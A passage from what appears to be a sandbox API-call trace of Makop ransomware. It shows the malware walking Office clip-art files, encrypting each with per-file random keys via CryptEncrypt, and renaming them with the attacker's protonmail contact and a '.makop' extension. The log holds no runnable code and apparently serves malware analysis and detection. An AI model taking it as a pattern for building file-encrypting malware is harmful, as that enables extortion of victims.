pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7f0) returned 1 [0111.703] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.703] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7f0, lpOverlapped=0x0) returned 1 [0111.703] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.703] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.704] SetEndOfFile (hFile=0xf0) returned 1 [0111.710] GetProcessHeap () returned 0x48a0000 [0111.710] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.710] GetProcessHeap () returned 0x48a0000 [0111.710] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.710] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.710] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.712] CloseHandle (hObject=0xf0) returned 1 [0111.712] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x824, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01180_.WMF", cAlternateFileName="")) returned 1 [0111.712] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0111.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.713] GetProcessHeap () returned 0x48a0000 [0111.713] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.713] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.713] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.713] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0111.717] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.718] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.718] GetProcessHeap () returned 0x48a0000 [0111.718] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.718] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.718] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.718] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.718] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.718] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.718] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.718] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.719] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.719] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.719] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.719] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.719] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x824, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x824, lpOverlapped=0x0) returned 1 [0111.719] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x830, dwBufLen=0x830 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x830) returned 1 [0111.719] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.719] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x830, lpOverlapped=0x0) returned 1 [0111.720] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.720] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x904, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.720] SetEndOfFile (hFile=0xf0) returned 1 [0111.727] GetProcessHeap () returned 0x48a0000 [0111.727] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.727] GetProcessHeap () returned 0x48a0000 [0111.727] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.727] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.727] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.728] CloseHandle (hObject=0xf0) returned 1 [0111.729] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01181_.WMF", cAlternateFileName="")) returned 1 [0111.729] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0111.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.731] GetProcessHeap () returned 0x48a0000 [0111.731] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.731] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.731] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.731] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.736] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.736] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.736] GetProcessHeap () returned 0x48a0000 [0111.736] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.736] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.736] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.736] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.736] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.736] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.737] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.737] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.737] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.737] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.737] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.737] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.737] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5a8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5a8, lpOverlapped=0x0) returned 1 [0111.738] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5b0) returned 1 [0111.738] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.738] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5b0, lpOverlapped=0x0) returned 1 [0111.738] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.738] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.739] SetEndOfFile (hFile=0xf0) returned 1 [0111.745] GetProcessHeap () returned 0x48a0000 [0111.746] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.746] GetProcessHeap () returned 0x48a0000 [0111.746] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.746] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.746] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.747] CloseHandle (hObject=0xf0) returned 1 [0111.748] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01182_.WMF", cAlternateFileName="")) returned 1 [0111.748] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0111.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.748] GetProcessHeap () returned 0x48a0000 [0111.748] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.748] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.748] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.749] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0111.758] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.758] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.758] GetProcessHeap () returned 0x48a0000 [0111.758] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.758] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.758] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.758] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.758] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.758] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.758] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.759] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.759] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.759] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.759] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.759] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.759] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xbb4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xbb4, lpOverlapped=0x0) returned 1 [0111.759] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbc0, dwBufLen=0xbc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbc0) returned 1 [0111.759] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.759] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xbc0, lpOverlapped=0x0) returned 1 [0111.760] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.760] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xc94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.760] SetEndOfFile (hFile=0xf0) returned 1 [0111.766] GetProcessHeap () returned 0x48a0000 [0111.766] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.766] GetProcessHeap () returned 0x48a0000 [0111.766] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.766] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.766] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.768] CloseHandle (hObject=0xf0) returned 1 [0111.768] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01183_.WMF", cAlternateFileName="")) returned 1 [0111.768] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0111.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.769] GetProcessHeap () returned 0x48a0000 [0111.769] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.769] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.769] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.769] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.774] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.774] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.774] GetProcessHeap () returned 0x48a0000 [0111.774] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.774] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.774] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.774] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.775] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.775] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.775] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.775] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.775] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.776] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, 